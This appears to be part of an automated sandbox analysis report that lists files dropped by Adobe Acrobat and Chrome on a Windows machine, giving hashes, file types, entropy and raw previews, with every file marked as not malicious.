SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJfshHHrPeUkwRe9:YvXKX+Ky1uIjx6m+7GUUUkee9
MD5:	E39E10C1958C8970CE7812396E72E54A
SHA1:	F60175F6BD7B64CF319047719E8671D51594A5B0
SHA-256:	19761BC2A561822F597F177241A94DE7F1412CFD5DED74C418B585FDAE2100AF
SHA-512:	7FF2A4649F4E07C7677D69930DAF634836A0F63E9EB8017809883CA0AC9D6F3F3B1D95DA320A3BD607D365618B88FB175226EF7EE4DDAA71A6F80BFD2F5F4F74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284035000106554
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+KyoIjuaDRjx6mJ0YCQoAvJTqgFCrPeUkwRe9:YvXKX+Ky1uIjx6m+7GTq16Ukee9
MD5:	A3AC1A24963906478F47065088E78C41
SHA1:	D212B794273B05C2656A3B6B7422D9B3E39BA377
SHA-256:	4356E6D76DA28903DCBFEB2D9A723EFD9B4FD4809363EB2314076B8F9DCAC6DF
SHA-512:	C97CB6CB356C53004DCA14AE1AED5168A6BF182C66759D205C6148132184922A8143F6479E334B0BC283DC7892B0722EB4A955F75D231A1F92D20650F324860A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fd06038f-fd82-466e-974b-261fcf207d48","sophiaUUID":"94B2C178-E1F7-4D12-8BEA-76F4017C8DA0"},"encodingScheme":true,"expirationDTS":1734550123283,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129892014635102
Encrypted:	false
SSDEEP:	24:YGbaVXayTT8M1Q+lqLDI6TrjE2n5NBjgdj0Sjw0X2p5LP2LStC6J4FaH1B+o5IMW:YbJTfTloDIKnn5zgxLcPHR4FaVBJb9pW
MD5:	6FA9DD2FA5A481CE09998BADCEF8020C
SHA1:	0290E9C74E7A34015F9D6F9DD7D1D773B13FEC79
SHA-256:	4B662F9856F74CCEB957AD812A1F4B51C5540AF7E53DE3D05EC43AEE5593FD97
SHA-512:	10B5EF056AF20D7399D61D9F358999E65CB92777F160EE3C8DC91FC136518FE585041C9FD7896113CBD47BFCAAC97E24FA81AA043F49DA43DEC4BBFEFD4DE7DC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"178fb21e39587f33b7204830693a0bfc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734371082000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1861e67b2fb411ce5fc57e9924a89d92","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734371082000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"eb3898b788ec83069bfef6ce02fe4886","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734371082000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f25ea18e411c4a1901a591b566a99725","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734371082000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d5a94a86bd1de121377cc9f2aff55b07","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734371082000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"439a1c55aa2444bd89b40c484ad8a1dc","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 23, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 23
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3562887341868592
Encrypted:	false
SSDEEP:	48:TVl2GL7msncRVbjVpOV6cV6+VZeVZvVZCVZW/Vk/Vhjv2ubCs22LxAn5BvPRAb:vVmssZnrF7tq
MD5:	5D202154C5F5CFAA3F9C27F5D9EAB99C
SHA1:	BBD68B11D401876D0AFF183C7F14828F7B58C9BF
SHA-256:	28C702BC16B53ABD3501F7D5D33B395DEB94CBDBE655B354A6FDD8C94050E9F3
SHA-512:	CF10A6EEB8B1A760AE938B8A26F2D1FF8288AA66C20D23BC20A7934CC7BAC42C8D5E9BA6EB68793C194F464C0D340BD3EC7E8FCE023537CAFF2C1531CF6340E0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8319235117021784
Encrypted:	false
SSDEEP:	48:7MYWcRVbjVpOV6cV6+VZeVZvVZCVZW/Vk/Vhjv2ubCs22LxAmBvPxcnqll2GL7mD:7hZnrFIt2qVms2
MD5:	6D4B3B5E8D740720AFDBCA7246E315DC
SHA1:	E712E4E7A4E274D5033AE580B257CADF34C30D11
SHA-256:	61F3FCBB7A39B771718BECF3D839D92B16F4B8044885939D398E8C982B835D87
SHA-512:	614A09902B856F9F8CF985426C751D6C714C527DE5DDA5E5615D82D8355039CC6D0931DAC0F27FC5292F28F3954029D7399FBC977DDF98205683141E63E8210E
Malicious:	false
Preview:	.... .c.......w......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././.-.-.-.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2nAY6kd7K5cxJyRVDT4589+6yx+Yyu:6a6TZ44ADE6F6kg5cxJyc6O+K
MD5:	75A9C5BE290AA326162DD57B2922461D
SHA1:	6BA5D41CB20DA50B125CCDC969CDAC5213613182
SHA-256:	7708E1DDB145CA5AA3939F5254C440D20F7C03987F9ECBA9575969466B051587
SHA-512:	011ACE4064E1ED4DD3455F1066AF2A2DF057C5C9CCB2462EE5F5DB04FE90A0435B1E013E21A0F8FCF10BD7C5C1085789A026F6FFA6989A0070B155C28C436645
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI4e6cb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8er6a3InH:Qw946cPbiOxDlbYnuRKhbG
MD5:	E8D575D94C243DFAA872833018013F26
SHA1:	B512134A6EC7B0DB790FB7493B51AE4274E5318B
SHA-256:	96970778D4AAFACB41458DD0703200E5F4EB60D7494764C8A1127367DA1A3697
SHA-512:	2DBD381A206D015C92160892ADAF27E72CBD8D2A1E16223F4CEFFCC6DC2B19F02091DF8899647097BE4AFE1FF4A2D24A78404F0BAC569856B9ABC73C4F77B824
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.1.2./.2.0.2.4. . .1.2.:.4.4.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-16 12-44-35-674.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.359827924713262
Encrypted:	false
SSDEEP:	384:yNDmLJAZYTtvEcrd/GVMimVRMTzpCeb9sJVPbvHktuFKr4Bnk2DfNSNq8iwyhZ9u:bAPaRH9E3/
MD5:	06DEAEDB81D09FD8FB5FF668D8E09CB2
SHA1:	28A02BCBD5975117B97A08AFB049F2C94F334726
SHA-256:	D98DE785425112A2D7A41B16073812FA4FA4955F2D5139AE87C9A5FBC4717D64
SHA-512:	948E3B56E5A8D818A5FE9D74B82A898F7264909ADF2C49E5D096CB90F4D28ED95990545A4857933F0E06D493AA0F6D41F6109C74B44BC0E4B84346B519681936
Malicious:	false
Preview:	SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:755+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=c98ebd97-9477-4d7e-bd0c-12efa5f01bab.1696586972755 Timestamp=2023-10-06T12:09:32:756+0200 ThreadID=6536 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.370446084854513
Encrypted:	false
SSDEEP:	384:h+EnsWwF1Y9/AlzRVph05vCU3TwlJ0o8ftuq0O60khWej9NO2wxkKwdwp8rdJOpV:AxJg
MD5:	F31D0C1CBE70D558BB361CC07C9EA826
SHA1:	ED57C82FCAD79876333CD26809B41871C5222B3C
SHA-256:	98D302AEE05F9C280D45223153A878EF1D8DC6B406A209B2B00E2D42FCD40FF0
SHA-512:	65431BAEF3B4DF78DD68469023B655A8F0697758F4B5FD93081251C1F844FFFF6958F38D399000927E97129A569A990E841E15206AC6ABE369198A62299D02D0
Malicious:	false
Preview:	SessionID=b39cf6d2-fd4a-4975-b2d4-47942ec67d3c.1734371075687 Timestamp=2024-12-16T12:44:35:687-0500 ThreadID=4204 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b39cf6d2-fd4a-4975-b2d4-47942ec67d3c.1734371075687 Timestamp=2024-12-16T12:44:35:690-0500 ThreadID=4204 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b39cf6d2-fd4a-4975-b2d4-47942ec67d3c.1734371075687 Timestamp=2024-12-16T12:44:35:690-0500 ThreadID=4204 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b39cf6d2-fd4a-4975-b2d4-47942ec67d3c.1734371075687 Timestamp=2024-12-16T12:44:35:690-0500 ThreadID=4204 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b39cf6d2-fd4a-4975-b2d4-47942ec67d3c.1734371075687 Timestamp=2024-12-16T12:44:35:690-0500 ThreadID=4204 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.423489464180799
Encrypted:	false
SSDEEP:	192:fcbmI6ccb9cb+IqccbdcbIIl3cbXcbWIS+cb4cbIIJzcbecbII/VcbF:g6sqGlVS/Jk/m
MD5:	0211EA358B29AB7438F1CC4CA2377D59
SHA1:	CC6C961E9B99D9D5968CE0C105F404B46750DD28
SHA-256:	02EF7BFD9A67F909F9D691AAAFB0522A257F12A62DE65EEF24C79287832C9035
SHA-512:	F4DD5EDA2C0CD0C5F1443B13215623B343F9499D8D59134F124309E145E6B3C13A57B7264DF7C4F72F16D52C417CCED0FC7EEFBE3950B3238837334D8420790A
Malicious:	false
Preview:	06-10-2023 11:44:59:.---2---..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 11:44:59:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 11:44:59:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\17ef3b12-1b5b-4131-a4a9-8ff960cf4226.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\38c31a1d-4457-4c1b-a461-3aea4fd97544.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6c8b0500-5cf1-4bc1-9bcb-1d431b334a3e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\97df8474-d7c5-4021-83f7-d7a96b69bdd4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oXGZGwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxXGZGwZGM3mlind9i4ufFXpAXkru
MD5:	0A347312E361322436D1AF1D5145D2AB
SHA1:	1D6C06A274705F8A295F62AD90CF8CA27555C226
SHA-256:	094501B3CA4E93F626ABFCAE800645C533B61409DC3D1D233F4D053CE6A124D7
SHA-512:	9856C231513B47DD996488DF19EEE44DBB320E55432984C0C041EF568B6EC5C05F5340831132890D1D162E0505CA243D579582EDB9157CF722A86EC8CE2FEAFE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c7029284-1e59-47e3-ab13-48e3b7646a36.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 160932
Category:	dropped
Size (bytes):	543911
Entropy (8bit):	7.977303608379539
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9UZ+bvHs:O3Pjegf121DMNB1DofjgJJJJm94+g
MD5:	5B21A6981E55EF9576D169BBED44BCDB
SHA1:	B3A14100B7E7C2C01D61B010A54937952D111E20
SHA-256:	9555E661370D1DC26605DAE88BDBC1ABA68038C769BF6E354A256B1A1C4C110E
SHA-512:	FCA72A5131D8780A17DF65BBFF37FBA88DBEA3B7AE991C3D893B21B9E6C1EED44DC12945C8DA39DE471FAC5013BE71D43E5BBB892994742BC33EF5934469B1B1
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 16:45:23 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992672697677558
Encrypted:	false
SSDEEP:	48:8W7xdaT/7kHHWidAKZdA1JehwiZUklqehry+3:8YmUIky
MD5:	9E540131F4EFD6807A1D9C8FC20E1EC4
SHA1:	F1AD50AFC90F0A76DDAA0DD16C20DF6F24A67CBD
SHA-256:	28D31DCC67664F5F220A2F1BC5113EDAE20547CD6E10509A7B17D5AC8B407950
SHA-512:	6BA4751AF8503F1C8DE6FCBAF304CE20008081658C26696BA889C15F013FE3884DB90AD0A4E32AFA0083D6873DE286D818D3A92F83AA8F4A9C81CC0DB26F0B00
Malicious:	false
